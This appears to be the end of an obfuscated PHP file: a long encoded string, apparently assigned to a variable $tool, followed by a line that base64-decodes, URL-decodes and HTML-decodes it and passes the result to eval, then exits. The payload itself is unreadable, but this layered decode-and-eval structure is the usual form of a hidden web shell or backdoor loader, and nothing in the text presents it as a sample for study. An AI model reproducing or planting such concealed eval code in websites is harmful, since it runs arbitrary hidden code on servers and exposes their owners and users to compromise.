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";
eval(htmlspecialchars_decode(urldecode(base64_decode($tool))));
exit;
?>